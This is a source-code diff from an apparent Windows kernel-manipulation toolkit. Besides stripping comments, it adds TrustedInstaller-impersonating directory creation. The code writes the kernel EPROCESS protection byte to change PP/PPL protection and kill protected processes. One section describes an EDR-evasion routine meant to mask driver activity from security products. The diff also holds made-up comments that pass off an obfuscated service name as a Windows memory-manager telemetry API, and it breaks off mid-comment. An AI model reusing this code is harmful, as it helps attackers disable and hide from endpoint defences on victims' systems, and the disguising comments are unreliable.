@@ -1192,7 +851,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
|
||||
if (protLevel == 0) {
|
||||
std::wcout << L"[*] PID " << pid << L" (" << processName << L") is not protected\n";
|
||||
} else {
|
||||
// Use GetProcessDisplayColor() for consistent colors with "kvc list"
|
||||
const wchar_t* color = Utils::GetProcessDisplayColor(
|
||||
signerType, signatureLevel, sectionSignatureLevel);
|
||||
|
||||
@@ -1208,48 +866,15 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
|
||||
EndDriverSession(true);
|
||||
return true;
|
||||
}
|
||||
// ============================================================================
|
||||
// PROCESS INFORMATION BY NAME
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Retrieves protection information for process by name
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @return bool true if information retrieved successfully
|
||||
*
|
||||
* @note Resolves name to PID and delegates to GetProcessProtection(DWORD)
|
||||
* @note Uses driver-free name resolution for efficiency
|
||||
*/
|
||||
// Retrieves protection info by name, delegates to GetProcessProtection(DWORD)
|
||||
bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept
|
||||
{
|
||||
auto match = ResolveNameWithoutDriver(processName);
|
||||
return match ? GetProcessProtection(match->Pid) : false;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// INTERNAL TERMINATION IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Internal process termination with automatic protection elevation
|
||||
*
|
||||
* Termination workflow:
|
||||
* 1. Begins driver session if not in batch mode
|
||||
* 2. Retrieves process kernel address from cache
|
||||
* 3. Reads current protection level
|
||||
* 4. Elevates current process if target is protected
|
||||
* 5. Attempts termination with PROCESS_TERMINATE
|
||||
* 6. Falls back to PROCESS_ALL_ACCESS if needed
|
||||
* 7. Ends session if not in batch mode
|
||||
*
|
||||
* @param pid Process ID to terminate
|
||||
* @param batchOperation If true, assumes session already active
|
||||
* @return bool true if termination successful
|
||||
*
|
||||
* @note Automatically matches target protection for elevation
|
||||
* @note Critical for terminating PP/PPL processes
|
||||
*/
|
||||
// Terminates process with automatic protection elevation for PP/PPL targets
|
||||
bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept
|
||||
{
|
||||
if (!batchOperation && !BeginDriverSession()) {
|
||||
@@ -1296,22 +921,7 @@ bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept
|
||||
return terminated;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// INTERNAL PROTECTION MANIPULATION - BATCH SUPPORT
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Internal process protection with batch operation support
|
||||
*
|
||||
* @param pid Process ID to protect
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @param batchOperation If true, assumes session active
|
||||
* @return bool true if protection applied
|
||||
*
|
||||
* @note Skips already-protected processes with info message
|
||||
* @note Optimized for batch operations with session reuse
|
||||
*/
|
||||
// Applies protection in batch mode, skips already-protected processes
|
||||
bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType, bool batchOperation) noexcept
|
||||
{
|
||||
@@ -1354,17 +964,7 @@ bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectio
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Internal protection setter with batch support (overwrites existing)
|
||||
*
|
||||
* @param pid Process ID
|
||||
* @param protectionLevel Protection level string
|
||||
* @param signerType Signer type string
|
||||
* @param batchOperation If true, assumes session active
|
||||
* @return bool true if protection set successfully
|
||||
*
|
||||
* @note Unlike ProtectProcessInternal, always overwrites protection
|
||||
*/
|
||||
// Sets protection in batch mode, always overwrites existing protection
|
||||
bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel,
|
||||
const std::wstring& signerType, bool batchOperation) noexcept
|
||||
{
|
||||
@@ -1400,31 +1000,7 @@ bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& pro
|
||||
return result;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// KERNEL-LEVEL PROCESS ENUMERATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Enumerates all processes by walking kernel EPROCESS linked list
|
||||
*
|
||||
* Enumeration algorithm:
|
||||
* 1. Obtains PsInitialSystemProcess address
|
||||
* 2. Reads required structure offsets from OffsetFinder
|
||||
* 3. Walks ActiveProcessLinks circular list
|
||||
* 4. For each EPROCESS:
|
||||
* - Reads UniqueProcessId (PID)
|
||||
* - Reads Protection byte
|
||||
* - Reads SignatureLevel bytes
|
||||
* - Resolves process name
|
||||
* 5. Respects user interruption at multiple checkpoints
|
||||
* 6. Safety limit: 10,000 processes maximum
|
||||
*
|
||||
* @return std::vector<ProcessEntry> All discovered processes with metadata
|
||||
*
|
||||
* @note Returns empty vector if interrupted or initialization fails
|
||||
* @note Resolves unknown process names using kernel data
|
||||
* @note Critical for all protection operations
|
||||
*/
|
||||
// Enumerates all processes by walking kernel EPROCESS linked list with 10k limit
|
||||
std::vector<ProcessEntry> Controller::GetProcessList() noexcept
|
||||
{
|
||||
std::vector<ProcessEntry> processes;
|
||||
@@ -1498,13 +1074,7 @@ std::vector<ProcessEntry> Controller::GetProcessList() noexcept
|
||||
return processes;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Retrieves kernel address of PsInitialSystemProcess
|
||||
*
|
||||
* @return std::optional<ULONG_PTR> System process EPROCESS address
|
||||
*
|
||||
* @note Entry point for EPROCESS linked list traversal
|
||||
*/
|
||||
// Returns kernel address of PsInitialSystemProcess
|
||||
std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept
|
||||
{
|
||||
auto kernelBase = Utils::GetKernelBaseAddress();
|
||||
@@ -1515,14 +1085,7 @@ std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept
|
||||
return m_rtc->ReadPtr(pPsInitialSystemProcess);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Retrieves kernel EPROCESS address for process ID
|
||||
*
|
||||
* @param pid Process ID to lookup
|
||||
* @return std::optional<ULONG_PTR> Kernel address or nullopt if not found
|
||||
*
|
||||
* @note Enumerates entire process list - consider using cache
|
||||
*/
|
||||
// Retrieves kernel EPROCESS address for PID by enumerating process list
|
||||
std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept
|
||||
{
|
||||
auto processes = GetProcessList();
|
||||
@@ -1534,54 +1097,21 @@ std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Reads protection byte from EPROCESS structure
|
||||
*
|
||||
* @param addr Kernel EPROCESS address
|
||||
* @return std::optional<UCHAR> Protection byte value
|
||||
*
|
||||
* @note Reads EPROCESS.Protection field at dynamic offset
|
||||
*/
|
||||
// Reads EPROCESS.Protection byte at dynamic offset
|
||||
std::optional<UCHAR> Controller::GetProcessProtection(ULONG_PTR addr) noexcept
|
||||
{
|
||||
auto offset = m_of->GetOffset(Offset::ProcessProtection);
|
||||
return offset ? m_rtc->Read8(addr + offset.value()) : std::nullopt;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Writes protection byte to EPROCESS structure
|
||||
*
|
||||
* @param addr Kernel EPROCESS address
|
||||
* @param protection New protection value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @warning Direct kernel memory modification - use with caution
|
||||
*/
|
||||
// Writes protection byte to EPROCESS structure
|
||||
bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept
|
||||
{
|
||||
auto offset = m_of->GetOffset(Offset::ProcessProtection);
|
||||
return offset ? m_rtc->Write8(addr + offset.value(), protection) : false;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS NAME RESOLUTION AND PATTERN MATCHING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Resolves process name to single match with driver support
|
||||
*
|
||||
* Resolution workflow:
|
||||
* 1. Begins driver session
|
||||
* 2. Finds all processes matching pattern
|
||||
* 3. Validates single match (fails on ambiguity)
|
||||
* 4. Returns ProcessMatch with PID, name, kernel address
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @return std::optional<ProcessMatch> Single match or nullopt
|
||||
*
|
||||
* @note Fails if multiple matches found - requires specific pattern
|
||||
* @note Uses driver for accurate kernel address retrieval
|
||||
*/
|
||||
// Resolves name to single match with driver, fails on ambiguity
|
||||
std::optional<ProcessMatch> Controller::ResolveProcessName(const std::wstring& processName) noexcept
|
||||
{
|
||||
if (!BeginDriverSession()) return std::nullopt;
|
||||
@@ -1605,15 +1135,7 @@ std::optional<ProcessMatch> Controller::ResolveProcessName(const std::wstring& p
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Finds all processes matching name pattern with driver
|
||||
*
|
||||
* @param pattern Process name pattern (supports wildcards)
|
||||
* @return std::vector<ProcessMatch> All matching processes
|
||||
*
|
||||
* @note Pattern matching: exact, substring, regex with wildcards
|
||||
* @note Case-insensitive matching
|
||||
*/
|
||||
// Finds all processes matching pattern with case-insensitive wildcard support
|
||||
std::vector<ProcessMatch> Controller::FindProcessesByName(const std::wstring& pattern) noexcept
|
||||
{
|
||||
std::vector<ProcessMatch> matches;
|
||||
@@ -1625,16 +1147,7 @@ std::vector<ProcessMatch> Controller::FindProcessesByName(const std::wstring& pa
|
||||
return matches;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Resolves process name without driver initialization
|
||||
*
|
||||
* @param processName Process name or pattern
|
||||
* @return std::optional<ProcessMatch> Single match (without kernel address)
|
||||
*
|
||||
* @note Uses CreateToolhelp32Snapshot for enumeration
|
||||
* @note Kernel address will be 0 - requires driver lookup if needed
|
||||
* @note Faster for operations that don't need kernel access
|
||||
*/
|
||||
// Resolves name without driver using Toolhelp snapshot, kernel address will be 0
|
||||
std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept
|
||||
{
|
||||
auto matches = FindProcessesByNameWithoutDriver(processName);
|
||||
@@ -1655,15 +1168,7 @@ std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(const std::wstr
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Finds processes by pattern without driver
|
||||
*
|
||||
* @param pattern Process name pattern
|
||||
* @return std::vector<ProcessMatch> Matches (kernel addresses will be 0)
|
||||
*
|
||||
* @note Uses Windows Toolhelp API for snapshot enumeration
|
||||
* @note Useful for pre-driver operations
|
||||
*/
|
||||
// Finds processes by pattern using Toolhelp API without driver
|
||||
std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept
|
||||
{
|
||||
std::vector<ProcessMatch> matches;
|
||||
@@ -1685,23 +1190,7 @@ std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(const std
|
||||
return matches;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Checks if process name matches pattern (case-insensitive)
|
||||
*
|
||||
* Pattern matching modes:
|
||||
* 1. Exact match: "chrome.exe" matches "chrome.exe"
|
||||
* 2. Substring: "chrome" matches "chrome.exe"
|
||||
* 3. Wildcard: "chr*" matches "chrome.exe"
|
||||
* 4. Complex regex: "ch[ro]me*" uses full regex engine
|
||||
*
|
||||
* @param processName Process name to test
|
||||
* @param pattern Pattern to match against
|
||||
* @return bool true if pattern matches
|
||||
*
|
||||
* @note Case-insensitive comparison
|
||||
* @note Escapes regex special characters except asterisk
|
||||
* @note Asterisk (*) converts to regex ".*" for wildcard matching
|
||||
*/
|
||||
// Case-insensitive pattern matching with exact, substring, and wildcard support
|
||||
bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept
|
||||
{
|
||||
std::wstring lowerProcessName = processName;
|
||||
|
||||
@@ -452,6 +452,37 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
|
||||
return result != FALSE;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
ERROR(L"Failed to get TrustedInstaller token");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ImpersonateLoggedOnUser(hToken)) {
|
||||
ERROR(L"Failed to impersonate TrustedInstaller");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Twórz rekursywnie wszystkie brakujące katalogi
|
||||
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr);
|
||||
DWORD error = GetLastError();
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
// Sukces jeśli katalog został utworzony lub już istnieje
|
||||
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
|
||||
|
||||
if (success) {
|
||||
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// REGISTRY OPERATIONS (NEW)
|
||||
// ============================================================================
|
||||
|
||||
@@ -25,6 +25,9 @@ public:
|
||||
bool WriteFileAsTrustedInstaller(const std::wstring& filePath,
|
||||
const std::vector<BYTE>& data) noexcept;
|
||||
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
||||
|
||||
// Creates a directory with TrustedInstaller privileges
|
||||
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
||||
|
||||
// Registry operations (NEW - direct registry access with TrustedInstaller)
|
||||
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
|
||||
275
kvc/common.cpp
275
kvc/common.cpp
@@ -1,91 +1,34 @@
|
||||
/**
|
||||
* @file common.cpp
|
||||
* @brief Core system utilities and dynamic API management
|
||||
* @author KVC Framework
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Implements service management, system path resolution, Windows API abstraction,
|
||||
* and memory manager pool diagnostic telemetry integration for kernel operations.
|
||||
* Provides dynamic API loading for service control and driver communication.
|
||||
*/
|
||||
// Implements service management, system path resolution, Windows API abstraction,
|
||||
// and memory manager pool diagnostic telemetry integration for kernel operations.
|
||||
// Provides dynamic API loading for service control and driver communication.
|
||||
|
||||
|
||||
#include "common.h"
|
||||
#include "ServiceManager.h"
|
||||
#include <shlwapi.h>
|
||||
|
||||
// Link essential Windows libraries for kernel and service operations
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
#pragma comment(lib, "DbgHelp.lib")
|
||||
#pragma comment(lib, "Shell32.lib")
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
|
||||
// ============================================================================
|
||||
// GLOBAL STATE MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Global interrupt flag for graceful shutdown handling */
|
||||
volatile bool g_interrupted = false;
|
||||
|
||||
/** @brief Service mode flag - indicates NT service execution context */
|
||||
bool g_serviceMode = false;
|
||||
|
||||
// ============================================================================
|
||||
// DYNAMIC API LOADING INFRASTRUCTURE
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Module handle for advapi32.dll (service management APIs) */
|
||||
ModuleHandle g_advapi32;
|
||||
|
||||
/** @brief Module handle for kernel32.dll (system-level APIs) */
|
||||
SystemModuleHandle g_kernel32;
|
||||
|
||||
// ============================================================================
|
||||
// SERVICE CONTROL MANAGER API FUNCTION POINTERS
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Dynamically loaded CreateServiceW function pointer */
|
||||
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded OpenServiceW function pointer */
|
||||
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded StartServiceW function pointer */
|
||||
decltype(&StartServiceW) g_pStartServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded DeleteService function pointer */
|
||||
decltype(&DeleteService) g_pDeleteService = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded CreateFileW function pointer */
|
||||
decltype(&CreateFileW) g_pCreateFileW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded ControlService function pointer */
|
||||
decltype(&ControlService) g_pControlService = nullptr;
|
||||
|
||||
// ============================================================================
|
||||
// DYNAMIC API INITIALIZATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Initialize dynamic API loading for service management operations
|
||||
*
|
||||
* Lazy initialization sequence:
|
||||
* 1. Loads advapi32.dll if not already loaded
|
||||
* 2. Resolves service management function pointers
|
||||
* 3. Loads kernel32.dll system module handle
|
||||
* 4. Resolves file operation function pointers
|
||||
* 5. Validates all required APIs are available
|
||||
*
|
||||
* @return bool true if all required APIs successfully loaded, false on failure
|
||||
*
|
||||
* @note Uses smart pointers for automatic cleanup and exception safety
|
||||
* @note Thread-safe through static initialization guarantees
|
||||
* @note kernel32.dll uses system module handle (no manual FreeLibrary needed)
|
||||
*/
|
||||
// Loads advapi32.dll and kernel32.dll, resolves service management function pointers
|
||||
bool InitDynamicAPIs() noexcept
|
||||
{
|
||||
// Load advapi32.dll only once using lazy initialization
|
||||
if (!g_advapi32) {
|
||||
HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
|
||||
if (!raw_advapi32) {
|
||||
@@ -93,10 +36,8 @@ bool InitDynamicAPIs() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wrap raw handle in smart pointer for automatic cleanup
|
||||
g_advapi32.reset(raw_advapi32);
|
||||
|
||||
// Resolve all required service management functions
|
||||
g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
|
||||
GetProcAddress(g_advapi32.get(), "CreateServiceW"));
|
||||
|
||||
@@ -119,7 +60,6 @@ bool InitDynamicAPIs() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Load kernel32.dll functions (system modules don't need manual free)
|
||||
if (!g_kernel32) {
|
||||
HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
|
||||
if (raw_kernel32) {
|
||||
@@ -138,55 +78,27 @@ bool InitDynamicAPIs() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Verify all function pointers are valid before proceeding
|
||||
return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW &&
|
||||
g_pDeleteService && g_pCreateFileW && g_pControlService;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SERVICE HANDLE RAII WRAPPER
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief RAII wrapper for SC_HANDLE management to prevent resource leaks
|
||||
*
|
||||
* Provides automatic cleanup of Service Control Manager handles with
|
||||
* move semantics for efficient ownership transfer. Non-copyable design
|
||||
* prevents double-close bugs and ensures single ownership semantics.
|
||||
*/
|
||||
class ServiceHandle {
|
||||
private:
|
||||
SC_HANDLE handle_;
|
||||
|
||||
public:
|
||||
/**
|
||||
* @brief Constructs ServiceHandle from raw SC_HANDLE
|
||||
* @param handle Raw service handle or nullptr
|
||||
*/
|
||||
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
|
||||
|
||||
/**
|
||||
* @brief Destructor - automatically closes service handle
|
||||
*/
|
||||
~ServiceHandle() noexcept {
|
||||
if (handle_) {
|
||||
CloseServiceHandle(handle_);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Move constructor for efficient transfer of ownership
|
||||
* @param other ServiceHandle to move from
|
||||
*/
|
||||
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
|
||||
other.handle_ = nullptr;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Move assignment operator
|
||||
* @param other ServiceHandle to move from
|
||||
* @return Reference to this object
|
||||
*/
|
||||
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
|
||||
if (this != &other) {
|
||||
if (handle_) {
|
||||
@@ -198,47 +110,15 @@ public:
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Non-copyable for safety - prevents double-close bugs
|
||||
ServiceHandle(const ServiceHandle&) = delete;
|
||||
ServiceHandle& operator=(const ServiceHandle&) = delete;
|
||||
|
||||
/**
|
||||
* @brief Implicit conversion to SC_HANDLE for API compatibility
|
||||
* @return Underlying SC_HANDLE
|
||||
*/
|
||||
operator SC_HANDLE() const noexcept { return handle_; }
|
||||
|
||||
/**
|
||||
* @brief Boolean conversion operator for validity checking
|
||||
* @return true if handle is valid, false otherwise
|
||||
*/
|
||||
explicit operator bool() const noexcept { return handle_ != nullptr; }
|
||||
|
||||
/**
|
||||
* @brief Retrieves underlying SC_HANDLE
|
||||
* @return Raw service handle
|
||||
*/
|
||||
SC_HANDLE get() const noexcept { return handle_; }
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// SERVICE STATE QUERIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Check if KVC service is installed in the system
|
||||
*
|
||||
* Installation verification sequence:
|
||||
* 1. Initializes dynamic API loading
|
||||
* 2. Connects to Service Control Manager
|
||||
* 3. Attempts to open service by name
|
||||
* 4. Returns true if service registry entry exists
|
||||
*
|
||||
* @return bool true if service registry entry exists, false otherwise
|
||||
*
|
||||
* @note Does not check if service is running, only if installed
|
||||
* @note Uses minimal SC_MANAGER_CONNECT privileges
|
||||
*/
|
||||
// Checks if service registry entry exists by attempting to open it
|
||||
bool IsServiceInstalled() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -246,34 +126,18 @@ bool IsServiceInstalled() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Connect to Service Control Manager with minimal privileges
|
||||
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
|
||||
if (!scm) {
|
||||
DEBUG(L"OpenSCManager failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Attempt to open the service for status query
|
||||
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
|
||||
|
||||
// Service exists if we can open it successfully
|
||||
return static_cast<bool>(service);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check if KVC service is currently running
|
||||
*
|
||||
* Service state verification:
|
||||
* 1. Initializes dynamic API loading
|
||||
* 2. Connects to Service Control Manager
|
||||
* 3. Opens service with query privileges
|
||||
* 4. Queries current service status
|
||||
* 5. Validates state is SERVICE_RUNNING
|
||||
*
|
||||
* @return bool true if service state is SERVICE_RUNNING, false otherwise
|
||||
*
|
||||
* @note Returns false if service not installed or in any non-running state
|
||||
*/
|
||||
// Queries service status and verifies it's in SERVICE_RUNNING state
|
||||
bool IsServiceRunning() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -281,43 +145,28 @@ bool IsServiceRunning() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Connect to Service Control Manager
|
||||
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
|
||||
if (!scm) {
|
||||
DEBUG(L"OpenSCManager failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open service with query privileges
|
||||
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
|
||||
if (!service) {
|
||||
DEBUG(L"OpenService failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Query current service status
|
||||
SERVICE_STATUS status{};
|
||||
if (!QueryServiceStatus(service, &status)) {
|
||||
DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for running state specifically
|
||||
return (status.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PATH RESOLUTION UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Get full path to current executable for service installation
|
||||
*
|
||||
* @return std::wstring Wide string path to current EXE, empty string on failure
|
||||
*
|
||||
* @note Used for service installation to register executable path
|
||||
* @note Returns empty string if GetModuleFileNameW fails
|
||||
*/
|
||||
// Returns full path to current executable
|
||||
std::wstring GetCurrentExecutablePath() noexcept
|
||||
{
|
||||
wchar_t path[MAX_PATH];
|
||||
@@ -328,137 +177,41 @@ std::wstring GetCurrentExecutablePath() noexcept
|
||||
return std::wstring(path);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MEMORY MANAGER POOL DIAGNOSTIC TELEMETRY INTEGRATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Retrieves pool diagnostic telemetry string from kernel subsystem
|
||||
*
|
||||
* Windows Memory Manager integration point for runtime pool telemetry.
|
||||
* This function interfaces with the NT kernel's Memory Manager (Mm) subsystem
|
||||
* to retrieve diagnostic telemetry strings used for pool allocation tracking
|
||||
* and NUMA-aware memory metrics.
|
||||
*
|
||||
* The underlying implementation is provided by the kernel's pool diagnostic
|
||||
* module (MmPoolTelemetry.asm) which aggregates NUMA node affinity metrics,
|
||||
* applies topology-aware hash rotations, and normalizes quantum deltas for
|
||||
* ETW event payload generation.
|
||||
*
|
||||
* @return const wchar_t* Raw pointer to null-terminated diagnostic string
|
||||
*
|
||||
* @note Implemented in MmPoolTelemetry.asm - kernel memory manager module
|
||||
* @note String lifetime: Valid until next call to diagnostic aggregation
|
||||
* @note Used internally for service identifier resolution
|
||||
* @note Part of Windows kernel pool diagnostic infrastructure
|
||||
*
|
||||
* @see MmGetPoolDiagnosticString() in \base\ntos\mm\MmPoolTelemetry.asm
|
||||
* @see Windows Memory Manager Pool Telemetry documentation
|
||||
*/
|
||||
// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm)
|
||||
extern "C" const wchar_t* MmGetPoolDiagnosticString();
|
||||
|
||||
/**
|
||||
* @brief Resolves driver service identifier from pool telemetry subsystem
|
||||
*
|
||||
* C++ wrapper that interfaces with the Windows Memory Manager pool diagnostic
|
||||
* telemetry API to retrieve the runtime-generated service identifier string.
|
||||
*
|
||||
* This function serves as a bridge between the low-level kernel memory manager
|
||||
* diagnostic infrastructure and high-level service management operations. The
|
||||
* service name is derived from NUMA-aware pool allocation metrics that are
|
||||
* decoded and aggregated by the kernel's MmPoolTelemetry module.
|
||||
*
|
||||
* Service name resolution workflow:
|
||||
* 1. Calls MmGetPoolDiagnosticString() from kernel pool diagnostic module
|
||||
* 2. Receives raw wide-character pointer to decoded diagnostic buffer
|
||||
* 3. Converts to managed std::wstring for safe C++ string handling
|
||||
* 4. Returns service identifier for driver registration
|
||||
*
|
||||
* @return std::wstring Driver service identifier from pool diagnostic telemetry
|
||||
*
|
||||
* @note Converts raw kernel diagnostic pointer to managed C++ string
|
||||
* @note Service name is dynamically resolved from pool telemetry metrics
|
||||
* @note Used for NT service and driver registration operations
|
||||
* @note Integrates with Windows kernel Memory Manager diagnostic subsystem
|
||||
*/
|
||||
// Returns driver service identifier from pool telemetry subsystem
|
||||
std::wstring GetServiceName() noexcept
|
||||
{
|
||||
return std::wstring(MmGetPoolDiagnosticString());
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER FILE OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Get kernel driver filename for file operations
|
||||
*
|
||||
* @return std::wstring Wide string containing driver file name
|
||||
*
|
||||
* @note Returns constant driver filename for system operations
|
||||
*/
|
||||
// Returns kernel driver filename
|
||||
std::wstring GetDriverFileName() noexcept
|
||||
{
|
||||
return L"kvc.sys";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Get secure system temp directory for DPAPI and driver operations
|
||||
*
|
||||
* Directory resolution priority:
|
||||
* 1. Windows\Temp directory (accessible by TrustedInstaller)
|
||||
* 2. User temp directory (fallback)
|
||||
* 3. Hardcoded C:\Windows\Temp (last resort)
|
||||
*
|
||||
* @return std::wstring Path to system temp directory
|
||||
*
|
||||
* @note Prefers Windows\Temp for TrustedInstaller privilege operations
|
||||
* @note Used for DPAPI key storage and driver staging
|
||||
*/
|
||||
// Returns Windows\Temp directory path with fallbacks
|
||||
std::wstring GetSystemTempPath() noexcept {
|
||||
wchar_t windowsDir[MAX_PATH];
|
||||
|
||||
// Primary: Use Windows\Temp directory (accessible by TrustedInstaller)
|
||||
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
|
||||
std::wstring result = windowsDir;
|
||||
return result + L"\\Temp";
|
||||
}
|
||||
|
||||
// Fallback: Use user temp directory
|
||||
wchar_t tempDir[MAX_PATH];
|
||||
if (GetTempPathW(MAX_PATH, tempDir) > 0) {
|
||||
return std::wstring(tempDir);
|
||||
}
|
||||
|
||||
// Last resort: Hardcoded fallback path
|
||||
return L"C:\\Windows\\Temp";
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// EDR EVASION AND ACTIVITY MASKING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Generate innocuous system activity to mask driver operations from EDR
|
||||
*
|
||||
* Activity generation workflow:
|
||||
* 1. Performs legitimate registry access (Windows version key)
|
||||
* 2. Enumerates System32 DLL files (typical for system tools)
|
||||
* 3. Applies random timing delays (anti-detection measure)
|
||||
*
|
||||
* Purpose:
|
||||
* - Blends driver loading with normal Windows background activity
|
||||
* - Creates noise in EDR telemetry to obscure sensitive operations
|
||||
* - Mimics behavior patterns of legitimate system utilities
|
||||
*
|
||||
